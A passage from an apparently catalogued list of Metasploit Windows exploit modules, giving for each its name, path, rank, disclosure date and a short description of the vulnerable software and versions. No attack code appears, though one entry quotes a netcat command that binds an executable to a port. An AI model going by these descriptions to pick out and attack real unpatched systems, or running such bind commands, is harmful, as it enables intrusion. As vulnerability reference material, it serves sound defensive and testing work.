     Module: exploit/windows/misc/hp_omniinet_2
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2009-12-17

Payload information:
  Space: 4658
  Avoid: 1 characters

Description:
  This module exploits a stack-based buffer overflow in the Hewlett-
Packard
  OmniInet NT Service. By sending a specially crafted MSG_PROTOCOL
(0x010b)
  packet, a remote attacker may be able to execute arbitrary code with
elevated
  privileges.

  This service is installed with HP OpenView Data Protector, HP
Application
  Recovery Manager and potentially other products. This exploit has
been tested
  against versions 6.1, 6.0, and 5.50 of Data Protector. and versions
6.0 and 6.1
  of Application Recovery Manager.

  NOTE: There are actually two consecutive wcscpy() calls in the
```

```
program (which
  may be why ZDI considered them two separate issues). However, this
module only
  exploits the second one.

End Exploit Number 2233

Begin Exploit Number 2234
       Name: HP OmniInet.exe Opcode 27 Buffer Overflow
     Module: exploit/windows/misc/hp_omniinet_3
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2011-06-29

Payload information:
  Space: 800
  Avoid: 1 characters

Description:
  This module exploits a buffer overflow in the Hewlett-Packard
  OmniInet NT Service. By sending a specially crafted opcode 27
packet,
  a remote attacker may be able to execute arbitrary code.

End Exploit Number 2234

Begin Exploit Number 2235
       Name: HP OmniInet.exe Opcode 20 Buffer Overflow
     Module: exploit/windows/misc/hp_omniinet_4
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2011-06-29

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a vulnerability found in HP Data Protector's
OmniInet
  process.  By supplying a long string of data as the file path with
opcode '20',
  a buffer overflow can occur when this data is being written on the
stack where
  no proper bounds checking is done beforehand, which results
```

```
arbitrary code
  execution under the context of SYSTEM.  This module is also made
against systems
  such as Windows Server 2003 or Windows Server 2008 that have DEP
and/or ASLR
  enabled by default.

End Exploit Number 2235

Begin Exploit Number 2236
       Name: HP Operations Agent Opcode coda.exe 0x34 Buffer Overflow
     Module: exploit/windows/misc/hp_operations_agent_coda_34
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-07-09

Payload information:
  Space: 1024
  Avoid: 0 characters

Description:
  This module exploits a buffer overflow vulnerability in HP
Operations Agent for
  Windows. The vulnerability exists in the HP Software Performance
Core Program
  component (coda.exe) when parsing requests for the 0x34 opcode. This
module has
  been tested successfully on HP Operations Agent 11.00 over Windows
XP SP3 and
  Windows 2003 SP2 (DEP bypass).

  The coda.exe components runs only for localhost by default, network
access must be
  granted through its configuration to be remotely exploitable. On the
other hand it
  runs on a random TCP port, to make easier reconnaissance a check
function is
  provided.

End Exploit Number 2236

Begin Exploit Number 2237
       Name: HP Operations Agent Opcode coda.exe 0x8c Buffer Overflow
     Module: exploit/windows/misc/hp_operations_agent_coda_8c
   Platform: Windows
       Arch: 
 Privileged: Yes
```

```
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-07-09

Payload information:
  Space: 1024
  Avoid: 0 characters

Description:
  This module exploits a buffer overflow vulnerability in HP
Operations Agent for
  Windows. The vulnerability exists in the HP Software Performance
Core Program
  component (coda.exe) when parsing requests for the 0x8c opcode. This
module has
  been tested successfully on HP Operations Agent 11.00 over Windows
XP SP3 and
  Windows 2003 SP2 (DEP bypass).

  The coda.exe components runs only for localhost by default, network
access must be
  granted through its configuration to be remotely exploitable. On the
other hand it
  runs on a random TCP port, to make easier reconnaissance a check
function is
  provided.

End Exploit Number 2237

Begin Exploit Number 2238
       Name: HP OpenView Operations OVTrace Buffer Overflow
     Module: exploit/windows/misc/hp_ovtrace
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2007-08-09

Payload information:
  Space: 800
  Avoid: 3 characters

Description:
  This module exploits a stack buffer overflow in HP OpenView
Operations version A.07.50.
  By sending a specially crafted packet, a remote attacker may be able
to execute arbitrary code.

End Exploit Number 2238
```

```
Begin Exploit Number 2239
       Name: HTA Web Server
     Module: exploit/windows/misc/hta_server
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2016-10-06

Payload information:
  Space: 2048

Description:
  This module hosts an HTML Application (HTA) that when opened will 
run a
  payload via Powershell. When a user navigates to the HTA file they 
will
  be prompted by IE twice before the payload is executed.

End Exploit Number 2239

Begin Exploit Number 2240
       Name: Borland InterBase isc_attach_database() Buffer Overflow
     Module: exploit/windows/misc/ib_isc_attach_database
   Platform: Windows
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2007-10-03

Payload information:
  Space: 512
  Avoid: 5 characters

Description:
  This module exploits a stack buffer overflow in Borland InterBase
  by sending a specially crafted attach request.

End Exploit Number 2240

Begin Exploit Number 2241
       Name: Borland InterBase isc_create_database() Buffer Overflow
     Module: exploit/windows/misc/ib_isc_create_database
   Platform: Windows
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
```

```
       Rank: Good
  Disclosed: 2007-10-03

Payload information:
  Space: 512
  Avoid: 5 characters

Description:
  This module exploits a stack buffer overflow in Borland InterBase
  by sending a specially crafted create request.

End Exploit Number 2241

Begin Exploit Number 2242
       Name: Borland InterBase SVC_attach() Buffer Overflow
     Module: exploit/windows/misc/ib_svc_attach
   Platform: Windows
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2007-10-03

Payload information:
  Space: 512
  Avoid: 5 characters

Description:
  This module exploits a stack buffer overflow in Borland InterBase
  by sending a specially crafted service attach request.

End Exploit Number 2242

Begin Exploit Number 2243
       Name: IBM Cognos tm1admsd.exe Overflow
     Module: exploit/windows/misc/ibm_cognos_tm1admsd_bof
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-04-02

Payload information:
  Space: 10359

Description:
  This module exploits a stack buffer overflow in IBM Cognos Analytic 
Server
  Admin service. The vulnerability exists in the tm1admsd.exe
```

```
component, due to a
  dangerous copy of user controlled data to the stack, via memcpy,
without validating
  the supplied length and data. The module has been tested
successfully on IBM Cognos
  Express 9.5 over Windows XP SP3.

End Exploit Number 2243

Begin Exploit Number 2244
       Name: IBM System Director Agent DLL Injection
     Module: exploit/windows/misc/ibm_director_cim_dllinject
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2009-03-10

Payload information:

Description:
  This module abuses the "wmicimsv" service on IBM System Director
Agent 5.20.3
  to accomplish arbitrary DLL injection and execute arbitrary code
with SYSTEM
  privileges.

  In order to accomplish remote DLL injection it uses a WebDAV service
as disclosed
  by kingcope on December 2012. Because of this, the target host must
have the
  WebClient service (WebDAV Mini-Redirector) enabled. It is enabled
and automatically
  started by default on Windows XP SP3, but disabled by default on
Windows 2003 SP2.

End Exploit Number 2244

Begin Exploit Number 2245
       Name: IBM Tivoli Storage Manager Express CAD Service Buffer
Overflow
     Module: exploit/windows/misc/ibm_tsm_cad_ping
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2009-11-04
```

```
Payload information:
  Space: 380
  Avoid: 0 characters

Description:
  This module exploits a stack buffer overflow in the IBM Tivoli
Storage Manager Express CAD Service.
  By sending a "ping" packet containing a long string, an attacker can
execute arbitrary code.

  NOTE: the dsmcad.exe service must be in a particular state
(CadWaitingStatus = 1) in order
  for the vulnerable code to be reached. This state doesn't appear to
be reachable when the
  TSM server is not running. This service does not restart.

End Exploit Number 2245

Begin Exploit Number 2246
       Name: IBM Tivoli Storage Manager Express RCA Service Buffer
Overflow
     Module: exploit/windows/misc/ibm_tsm_rca_dicugetidentify
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2009-11-04

Payload information:
  Space: 2052
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in the IBM Tivoli
Storage Manager Express Remote
  Client Agent service. By sending a "dicuGetIdentify" request packet
containing a long
  NodeName parameter, an attacker can execute arbitrary code.

  NOTE: this exploit first connects to the CAD service to start the
RCA service and obtain
  the port number on which it runs. This service does not restart.

End Exploit Number 2246

Begin Exploit Number 2247
       Name: IBM WebSphere RCE Java Deserialization Vulnerability
     Module: exploit/windows/misc/ibm_websphere_java_deserialize
   Platform: Windows
```

```
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-11-06

Payload information:

Description:
  This module exploits a vulnerability in IBM's WebSphere Application
Server. An unsafe deserialization
  call of unauthenticated Java objects exists to the Apache Commons
Collections (ACC) library, which allows
  remote arbitrary code execution. Authentication is not required in
order to exploit this vulnerability.

End Exploit Number 2247

Begin Exploit Number 2248
       Name: Apple iTunes 10 Extended M3U Stack Buffer Overflow
     Module: exploit/windows/misc/itunes_extm3u_bof
   Platform: Windows
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-06-21

Payload information:
  Space: 1000
  Avoid: 3 characters

Description:
  This module exploits a stack buffer overflow in iTunes 10.4.0.80 to
10.6.1.7.
  When opening an extended .m3u file containing an "#EXTINF:" tag
description,
  iTunes will copy the content after "#EXTINF:" without appropriate
checking
  from a heap buffer to a stack buffer, writing beyond the stack
buffer's boundary,
  which allows code execution under the context of the user.

  Please note before using this exploit, you must have precise
knowledge of the
  victim machine's QuickTime version (if installed), and then select
your target
  accordingly.

  In addition, even though this exploit can be used as remote, you
```

```
should be aware
  the victim's browser behavior when opening an itms link.  For
example,
  IE/Firefox/Opera by default will ask the user for permission before
launching the
  itms link by iTunes.  Chrome will ask for permission, but also spits
a warning.
  Safari would be an ideal target, because it will open the link
without any
  user interaction.

End Exploit Number 2248

Begin Exploit Number 2249
       Name: Ivanti Avalanche MDM Buffer Overflow
     Module: exploit/windows/misc/ivanti_avalanche_mdm_bof
   Platform: Windows
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-08-14

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a buffer overflow condition in Ivanti Avalanche
MDM versions before v6.4.1.
  An attacker can send a specially crafted message to the Wavelink
Avalanche Manager,
  which could result in arbitrary code execution with the NT/AUTHORITY
SYSTEM permissions.
  This vulnerability occurs during the processing of 3/5/8/100/101/102
item data types.
  The program tries to copy the item data using `qmemcopy` to a fixed
size data buffer on stack.
  Upon successful exploitation the attacker gains full access to the
target system.

  This vulnerability has been tested against Ivanti Avalanche MDM
v6.4.0.0 on Windows 10.

End Exploit Number 2249

Begin Exploit Number 2250
       Name: LANDesk Management Suite 8.7 Alert Service Buffer
Overflow
     Module: exploit/windows/misc/landesk_aolnsrvr
   Platform: Windows
```

```
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2007-04-13

Payload information:
  Space: 336

Description:
  This module exploits a stack buffer overflow in LANDesk Management 
Suite 8.7. By sending
  an overly long string to the Alert Service, a buffer is overwritten 
and arbitrary
  code can be executed.

End Exploit Number 2250

Begin Exploit Number 2251
       Name: Lianja SQL 1.0.0RC5.1 db_netserver Stack Buffer Overflow
     Module: exploit/windows/misc/lianja_db_net
   Platform: Windows
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-05-22

Payload information:
  Space: 500
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in the db_netserver 
process, which
  is spawned by the Lianja SQL server.  The issue is fixed in Lianja 
SQL 1.0.0RC5.2.

End Exploit Number 2251

Begin Exploit Number 2252
       Name: ManageEngine EventLog Analyzer Remote Code Execution
     Module: exploit/windows/misc/manageengine_eventlog_analyzer_rce
   Platform: Windows
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2015-07-11
```

```
Payload information:

Description:
  This module exploits a SQL query functionality in ManageEngine
EventLog Analyzer v10.6
  build 10060 and previous versions. Every authenticated user,
including the default "guest"
  account can execute SQL queries directly on the underlying Postgres
database server. The
  queries are executed as the "postgres" user which has full
privileges and thus is able to
  write files to disk. This way a JSP payload can be uploaded and
executed with SYSTEM
  privileges on the web server. This module has been tested
successfully on ManageEngine
  EventLog Analyzer 10.0 (build 10003) over Windows 7 SP1.

End Exploit Number 2252

Begin Exploit Number 2253
       Name: Mercury/32 PH Server Module Buffer Overflow
     Module: exploit/windows/misc/mercury_phonebook
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2005-12-19

Payload information:
  Space: 500
  Avoid: 4 characters

Description:
  This module exploits a stack-based buffer overflow in
  Mercury/32 <= v4.01b PH Server Module. This issue is
  due to a failure of the application to properly bounds check
  user-supplied data prior to copying it to a fixed size memory
buffer.

End Exploit Number 2253

Begin Exploit Number 2254
       Name: Mini-Stream 3.0.1.1 Buffer Overflow
     Module: exploit/windows/misc/mini_stream
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2009-12-25

Payload information:
  Space: 3500
  Avoid: 26 characters

Description:
  This module exploits a stack buffer overflow in Mini-Stream 3.0.1.1
  By creating a specially crafted pls file, an attacker may be able
  to execute arbitrary code.

End Exploit Number 2254

Begin Exploit Number 2255
       Name: mIRC PRIVMSG Handling Stack Buffer Overflow
     Module: exploit/windows/misc/mirc_privmsg_server
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2008-10-02

Payload information:
  Space: 160
  Avoid: 26 characters

Description:
  This module exploits a buffer overflow in the mIRC IRC Client v6.34
and earlier.
  By enticing a mIRC user to connect to this server module, an
excessively long PRIVMSG
  command can be sent, overwriting the stack. Due to size
restrictions, ordinal payloads
  may be necessary. This module is based on the code by SkD.

End Exploit Number 2255

Begin Exploit Number 2256
       Name: Mobile Mouse RCE
     Module: exploit/windows/misc/mobile_mouse_rce
   Platform: Windows
       Arch: x64, x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2022-09-20

Payload information:
  Avoid: 2 characters
```

```
Description:
  This module utilizes the Mobile Mouse Server by RPA Technologies,
Inc protocol
  to deploy a payload and run it from the server.  This module will
only deploy
  a payload if the server is set without a password (default).
  Tested against 3.6.0.4, current at the time of module writing

End Exploit Number 2256

Begin Exploit Number 2257
       Name: MS07-064 Microsoft DirectX DirectShow SAMI Buffer
Overflow
     Module: exploit/windows/misc/ms07_064_sami
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2007-12-11

Payload information:
  Space: 600
  Avoid: 16 characters

Description:
  This module exploits a stack buffer overflow in the DirectShow
Synchronized
  Accessible Media Interchanged (SAMI) parser in quartz.dll. This
module
  has only been tested with Windows Media Player (6.4.09.1129) and
  DirectX 8.0.

End Exploit Number 2257

Begin Exploit Number 2258
       Name: MS10-104 Microsoft Office SharePoint Server 2007 Remote
Code Execution
     Module: exploit/windows/misc/ms10_104_sharepoint
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-12-14

Payload information:

Description:
  This module exploits a vulnerability found in SharePoint Server 2007
SP2. The
  software contains a directory traversal, that allows a remote
attacker to write
  arbitrary files to the filesystem, sending a specially crafted SOAP
ConvertFile
  request to the Office Document Conversions Launcher Service, which
results in code
  execution under the context of 'SYSTEM'.

  The module uses the Windows Management Instrumentation service to
execute an
  arbitrary payload on vulnerable installations of SharePoint on
Windows 2003 Servers.
  It has been successfully tested on Office SharePoint Server 2007 SP2
over Windows
  2003 SP2.

End Exploit Number 2258

Begin Exploit Number 2259
       Name: Netcat v1.10 NT Stack Buffer Overflow
     Module: exploit/windows/misc/netcat110_nt
   Platform: Windows
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2004-12-27

Payload information:
  Space: 236
  Avoid: 3 characters

Description:
  This module exploits a stack buffer overflow in Netcat v1.10 NT. By
sending
  an overly long string we are able to overwrite SEH. The
vulnerability
  exists when netcat is used to bind (-e) an executable to a port in
doexec.c.
  This module tested successfully using "c:\>nc -L -p 31337 -e ftp".

End Exploit Number 2259

Begin Exploit Number 2260
       Name: NetTransport Download Manager 2.90.510 Buffer Overflow
     Module: exploit/windows/misc/nettransport
   Platform: Windows
       Arch:
```

```
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2010-01-02

Payload information:
  Space: 5000
  Avoid: 4 characters

Description:
  This exploits a stack buffer overflow in NetTransport Download
Manager,
  part of the NetXfer suite. This module was tested
  successfully against version 2.90.510.

End Exploit Number 2260

Begin Exploit Number 2261
       Name: Nvidia Mental Ray Satellite Service Arbitrary DLL
Injection
     Module: exploit/windows/misc/nvidia_mental_ray
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-12-10

Payload information:

Description:
  The Nvidia Mental Ray Satellite Service listens for control commands
on port 7414.
  When it receives the command to load a DLL (via an UNC path) it will
try to
  connect back to the host on port 7514. If a TCP connection is
successful it will
  then attempt to load the DLL. This module has been tested
successfully on Win7 x64
  with Nvidia Mental Ray Satellite Service v3.11.1.

End Exploit Number 2261

Begin Exploit Number 2262
       Name: PlugX Controller Stack Buffer Overflow
     Module: exploit/windows/misc/plugx
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
```

```
       Rank: Normal
  Disclosed: 2017-07-27

Payload information:
  Space: 57344
  Avoid: 0 characters

Description:
  This module exploits a stack buffer overflow in the PlugX Controller
(C2 server).


End Exploit Number 2262

Begin Exploit Number 2263
       Name: Poison Ivy 2.1.x C2 Buffer Overflow
     Module: exploit/windows/misc/poisonivy_21x_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2016-06-03

Payload information:
  Space: 2119

Description:
  This module exploits a stack buffer overflow in the Poison Ivy 2.1.x
C&C server.
  The exploit does not need to know the password chosen for the bot/
server communication.

End Exploit Number 2263

Begin Exploit Number 2264
       Name: Poison Ivy Server Buffer Overflow
     Module: exploit/windows/misc/poisonivy_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-06-24

Payload information:
  Space: 10000

Description:
  This module exploits a stack buffer overflow in the Poison Ivy 2.2.0
```

```
to 2.3.2 C&C server.
  The exploit does not need to know the password chosen for the bot/
server communication.

End Exploit Number 2264

Begin Exploit Number 2265
       Name: POP Peeper v3.4 DATE Buffer Overflow
     Module: exploit/windows/misc/poppeeper_date
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2009-02-27

Payload information:
  Space: 750
  Avoid: 4 characters

Description:
  This module exploits a stack buffer overflow in POP Peeper v3.4.
  When a specially crafted DATE string is sent to a client,
  an attacker may be able to execute arbitrary code. This
  module is based off of krakowlabs code.

End Exploit Number 2265

Begin Exploit Number 2266
       Name: POP Peeper v3.4 UIDL Buffer Overflow
     Module: exploit/windows/misc/poppeeper_uidl
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2009-02-27

Payload information:
  Space: 750
  Avoid: 4 characters

Description:
  This module exploits a stack buffer overflow in POP Peeper v3.4.
  When a specially crafted UIDL string is sent to a client,
  an attacker may be able to execute arbitrary code. This
  module is based off of krakowlabs code.

End Exploit Number 2266
```

```
Begin Exploit Number 2267
       Name: Realtek Media Player Playlist Buffer Overflow
     Module: exploit/windows/misc/realtek_playlist
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2008-12-16

Payload information:
  Space: 550
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in Realtek Media
Player(RtlRack) A4.06.
  When a Realtek Media Player client opens a specially crafted
playlist, an
  attacker may be able to execute arbitrary code.

End Exploit Number 2267

Begin Exploit Number 2268
       Name: Remote Control Collection RCE
     Module: exploit/windows/misc/remote_control_collection_rce
   Platform: Windows
       Arch: x64, x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2022-09-20

Payload information:

Description:
  This module utilizes the Remote Control Server's, part
  of the Remote Control Collection by Steppschuh, protocol
  to deploy a payload and run it from the server.  This module will
only deploy
  a payload if the server is set without a password (default).
  Tested against 3.1.1.12, current at the time of module writing

End Exploit Number 2268

Begin Exploit Number 2269
       Name: Remote Mouse RCE
     Module: exploit/windows/misc/remote_mouse_rce
   Platform: Windows
       Arch: x64, x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2019-04-15

Payload information:

Description:
  This module utilizes the Remote Mouse Server by Emote Interactive
protocol
  to deploy a payload and run it from the server on versions < 4.200
(500 server response).
  This module will only deploy
  a payload if the server is set without a password (default).
  Tested against 4.110, current at the time of module writing

End Exploit Number 2269

Begin Exploit Number 2270
       Name: SAP Business One License Manager 2005 Buffer Overflow
     Module: exploit/windows/misc/sap_2005_license
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2009-08-01

Payload information:
  Space: 400
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in the SAP Business One
2005
  License Manager 'NT Naming Service' A and B releases. By sending an
  excessively long string the stack is overwritten enabling arbitrary
  code execution.

End Exploit Number 2270

Begin Exploit Number 2271
       Name: SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow
     Module: exploit/windows/misc/sap_netweaver_dispatcher
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-05-08
```

```
Payload information:
  Space: 4000
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in the SAP NetWeaver 
Dispatcher 
  service. The overflow occurs in the DiagTraceR3Info() function and 
allows a remote 
  attacker to execute arbitrary code by supplying a special crafted 
Diag packet. The 
  Dispatcher service is only vulnerable if the Developer Traces have 
been configured 
  at levels 2 or 3. The module has been successfully tested on SAP 
Netweaver 7.0 EHP2 
  SP6 over Windows XP SP3 and Windows 2003 SP2 (DEP bypass).

End Exploit Number 2271

Begin Exploit Number 2272
       Name: ShixxNOTE 6.net Font Field Overflow
     Module: exploit/windows/misc/shixxnote_font
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2004-10-04

Payload information:
  Space: 650
  Avoid: 16 characters

Description:
  This module exploits a buffer overflow in ShixxNOTE 6.net. 
  The vulnerability is caused due to boundary errors in the 
  handling of font fields.

End Exploit Number 2272

Begin Exploit Number 2273
       Name: SolarWinds Information Service (SWIS) .NET 
Deserialization From AMQP RCE
     Module: exploit/windows/misc/solarwinds_amqp_deserialization
   Platform: Windows
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-10-19

Payload information:

Description:
  The SolarWinds Information Service (SWIS) is vulnerable to RCE by
way of a crafted message received through the
  AMQP message queue. A malicious user that can authenticate to the
AMQP service can publish such a crafted
  message whose body is a serialized .NET object which can lead to OS
command execution as NT AUTHORITY\SYSTEM.

End Exploit Number 2273

Begin Exploit Number 2274
       Name: SolidWorks Workgroup PDM 2014 pdmwService.exe Arbitrary
File Write
     Module: exploit/windows/misc/
solidworks_workgroup_pdmwservice_file_write
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2014-02-22

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a remote arbitrary file write vulnerability in
  SolidWorks Workgroup PDM 2014 SP2 and prior.

  For targets running Windows Vista or newer the payload is written to
the
  startup folder for all users and executed upon next user logon.

  For targets before Windows Vista code execution can be achieved by
first
  uploading the payload as an exe file, and then upload another mof
file,
  which schedules WMI to execute the uploaded payload.

  This module has been tested successfully on SolidWorks Workgroup PDM
  2011 SP0 on Windows XP SP3 (EN) and Windows 7 SP1 (EN).

End Exploit Number 2274

Begin Exploit Number 2275
       Name: SPlayer 3.7 Content-Type Buffer Overflow
     Module: exploit/windows/misc/splayer_content_type
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2011-05-04

Payload information:
  Avoid: 33 characters

Description:
  This module exploits a vulnerability in SPlayer v3.7 or prior.  When 
SPlayer
  requests the URL of a media file (video or audio), it is possible to 
gain arbitrary
  remote code execution due to a buffer overflow caused by an 
exceeding length of data
  as the 'Content-Type' parameter.

End Exploit Number 2275

Begin Exploit Number 2276
       Name: CoCSoft StreamDown 6.8.0 Buffer Overflow
     Module: exploit/windows/misc/stream_down_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2011-12-27

Payload information:
  Avoid: 3 characters

Description:
  Stream Down 6.8.0 seh based buffer overflow triggered when 
processing
  the server response packet. During the overflow a structured 
exception
  handler is overwritten.

End Exploit Number 2276

Begin Exploit Number 2277
       Name: Talkative IRC v0.4.4.16 Response Buffer Overflow
     Module: exploit/windows/misc/talkative_response
   Platform: Windows
       Arch: 
 Privileged: No
```

```
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2009-03-17

Payload information:
  Space: 750
  Avoid: 4 characters

Description:
  This module exploits a stack buffer overflow in Talkative IRC 
v0.4.4.16.
  When a specially crafted response string is sent to a client,
  an attacker may be able to execute arbitrary code.

End Exploit Number 2277

Begin Exploit Number 2278
       Name: TinyIdentD 2.2 Stack Buffer Overflow
     Module: exploit/windows/misc/tiny_identd_overflow
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2007-05-14

Payload information:
  Space: 450
  Avoid: 4 characters

Description:
  This module exploits a stack based buffer overflow in TinyIdentD 
  version 2.2.
  If we send a long string to the ident service we can overwrite the 
  return address and execute arbitrary code. Credit to Maarten Boone.

End Exploit Number 2278

Begin Exploit Number 2279
       Name: TrendMicro Control Manger CmdProcessor.exe Stack Buffer 
Overflow
     Module: exploit/windows/misc/trendmicro_cmdprocessor_addtask
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2011-12-07

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a vulnerability in the CmdProcessor.exe
component of Trend
  Micro Control Manger up to version 5.5.

    The specific flaw exists within CmdProcessor.exe service running
on TCP port
  20101. The vulnerable function is the CGenericScheduler::AddTask
function of
  cmdHandlerRedAlertController.dll. When processing a specially
crafted IPC packet,
  controlled data is copied into a 256-byte stack buffer. This can be
exploited
  to execute remote code under the context of the user.

End Exploit Number 2279

Begin Exploit Number 2280
       Name: UFO: Alien Invasion IRC Client Buffer Overflow
     Module: exploit/windows/misc/ufo_ai
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2009-10-28

Payload information:
  Space: 400
  Avoid: 3 characters

Description:
  This module exploits a buffer overflow in the IRC client component
of
  UFO: Alien Invasion 2.2.1.

End Exploit Number 2280

Begin Exploit Number 2281
       Name: Unified Remote Auth Bypass to RCE
     Module: exploit/windows/misc/unified_remote_rce
   Platform: Windows
       Arch: x64, x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2021-02-25
```

```
Payload information:
  Avoid: 2 characters

Description:
  This module utilizes the Unified Remote remote control protocol to
type out and
  deploy a payload.  The remote control protocol can be configured to
have no passwords,
  a group password, or individual user accounts.  If the web page is
accessible, the
  access control is set to no password for exploitation, then
reverted.
  If the web page is not accessible, exploitation will be tried
blindly.
  This module has been successfully tested against version 3.11.0.2483
(50) on Windows 10.

End Exploit Number 2281

Begin Exploit Number 2282
       Name: Veeam ONE Agent .NET Deserialization
     Module: exploit/windows/misc/veeam_one_agent_deserialization
   Platform: Windows
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2020-04-15

Payload information:

Description:
  This module exploits a .NET deserialization vulnerability in the
Veeam
  ONE Agent before the hotfix versions 9.5.5.4587 and 10.0.1.750 in
the
  9 and 10 release lines.

  Specifically, the module targets the HandshakeResult() method used
by
  the Agent. By inducing a failure in the handshake, the Agent will
  deserialize untrusted data.

  Tested against the pre-patched release of 10.0.0.750. Note that
Veeam
  continues to distribute this version but with the patch pre-applied.

End Exploit Number 2282

Begin Exploit Number 2283
```

```
       Name: DLL Side Loading Vulnerability in VMware Host Guest
Client Redirector
     Module: exploit/windows/misc/vmhgfs_webdav_dll_sideload
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2016-08-05

Payload information:
  Space: 2048

Description:
  A DLL side loading vulnerability was found in the VMware Host Guest
Client Redirector,
  a component of VMware Tools. This issue can be exploited by luring a
victim into
  opening a document from the attacker's share. An attacker can
exploit this issue to
  execute arbitrary code with the privileges of the target user. This
can potentially
  result in the attacker taking complete control of the affected
system. If the WebDAV
  Mini-Redirector is enabled, it is possible to exploit this issue
